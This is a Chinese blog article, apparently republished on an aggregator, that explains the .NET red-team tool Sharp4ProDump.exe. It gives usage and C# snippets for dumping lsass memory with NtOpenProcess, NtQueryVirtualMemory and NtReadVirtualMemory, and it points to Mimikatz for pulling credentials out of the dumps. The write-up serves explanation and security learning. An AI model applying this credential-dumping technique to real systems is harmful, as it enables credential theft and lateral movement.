当前位置: 首页 > news >正文

.NET 一款用于转储指定进程内存的工具

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

在红队活动中,转储进程的内存可以有效地提取用户凭据,特别是像 lsass 这样的关键进程,因为该进程负责处理身份验证和安全令牌。Sharp4ProDump.exe 就是这样一款内网渗透的工具,能够针对指定进程进行内存转储。

图片

03使用方法

Sharp4ProDump.exe 允许用户为指定进程生成内存转储文件。其基本使用方式如下所示。

Sharp4ProDump.exe ProcessName [FILE]

参数FILE为可选的输出文件名,默认为包含所有内存块的文件,其实在转储时也为每个内存区域生成一个文件。需要注意的一点,转储lsass进程需要以管理员身份执行, 而对于用户启动的进程,无需管理员权限,方便红队灵活选择目标。

比如,转储notepad.exe记事本进程时就无需管理员权限,普通权限下的cmd即可运行成功,如下图所示。

图片

04原理解析

默认情况下首先获取 lsass 进程的 ID,当然也可以指定为其他进程的名称,然后通过调用 NtOpenProcess 函数打开该进程,具体代码如下所示。

Process[] processesByName = Process.GetProcessesByName("lsass");
if (processesByName.Length == 0)
{Console.WriteLine("[-] Process not found.");Environment.Exit(0);
}
int id = processesByName[0].Id;
IntPtr zero = IntPtr.Zero;
Win32.NtOpenProcess(ref zero, 1040U, ref object_ATTRIBUTES, ref client_ID);

随后,使用 NtQueryVirtualMemory 函数查询进程的内存区域,并筛选出可读的内存块。对于每个合适的内存区域,工具调用 NtReadVirtualMemory 读取内存数据并写入到文件中。

while (Win32.NtQueryVirtualMemory(zero, intPtr, 0U, out memory_BASIC_INFORMATION, 48U, out num2) == 0)
{if (memory_BASIC_INFORMATION.Protect == 4 && memory_BASIC_INFORMATION.State == 4096){byte[] array2 = new byte[(int)memory_BASIC_INFORMATION.RegionSize];Win32.NtReadVirtualMemory(zero, memory_BASIC_INFORMATION.BaseAddress, array2, (int)memory_BASIC_INFORMATION.RegionSize, out intPtr2);Program.WriteToFile(array2, (int)memory_BASIC_INFORMATION.RegionSize, filename);}
}

转储完成后,工具将每个内存区域的内容写入不同的 .dmp 文件,并生成一个包含所有内存块的汇总文件。

string filename2 = text + "_" + id.ToString() + "_allinone.dmp";
if (args.Length > 1)
{filename2 = args[1];
}
Program.WriteToFile(array, array.Length, filename2);

一旦完成转储,红队可以利用一些工具(如 Mimikatz)分析这些内存转储文件,提取明文凭据和其他敏感信息。通过这种方式,红队可以实现横向移动、提权或其他后续攻击。

综上,Sharp4ProDump.exe 是红队在渗透测试中一个不可或缺的工具,通过高效地转储进程内存,获取关键凭据,为进一步的攻击奠定基础。

 05.NET安全知识库

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

    

图片

图片

http://www.lryc.cn/news/460872.html

相关文章:

  • Splunk 修补关键漏洞,包括远程代码执行漏洞
  • 搭建一个vue3+vite框架
  • 【含文档】基于Springboot+Vue的公交管理系统(含源码+数据库+lw)
  • 自闭症儿童能否适应学校生活:提供专业辅助,助力顺利融入
  • MQTTnet.Server同时支持mqtt及websocket协议
  • 【数据结构】二叉树(一)遍历
  • 【C++ 贪心】1616. 分割两个字符串得到回文串|1868
  • 识别秒拨风险的具体方法及策略
  • [Python]如何在Ubuntu中建置python venv虛擬環境,並安裝TensorFlow和OpenCV函式庫?
  • Excel:Cells(Rows.Count, 1).End(xlUp).Row和Cells(Rows.Count, 1).End(xlUp)有什么区别
  • E. Count Paths
  • 集合论(ZFC)之良创关系(Well-Founded Relation)
  • centos 安装达梦数据库
  • 《Windows PE》6.4.1 无 DLL远程注入
  • 浙大数据结构:10-排序6 Sort with Swap(0, i)
  • 基于vue框架的的爱心捐赠物资信息系统85gsu(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。
  • AI对抗AI:如何应对自动化攻击新时代?
  • 【微服务】微服务注册:构建灵活的服务管理机制
  • AsyncTask的工作原理和缺陷
  • 【React】事件绑定的方式
  • Android ImageView scaleType使用
  • 【PhpSpreadsheet】ThinkPHP5+PhpSpreadsheet实现批量导出数据
  • Python剪辑视频
  • LabVIEW提高开发效率技巧----高效文件I/O
  • 影刀RPA接口_查询应用主流程参数结构
  • 2d实时数字人聊天语音对话使用案例,对接大模型
  • LeetCode | 69.x的平方根
  • 使用Windows创建一个MFC应用【带界面】
  • springboot整合lombok
  • 使用Arcgis批量自动出图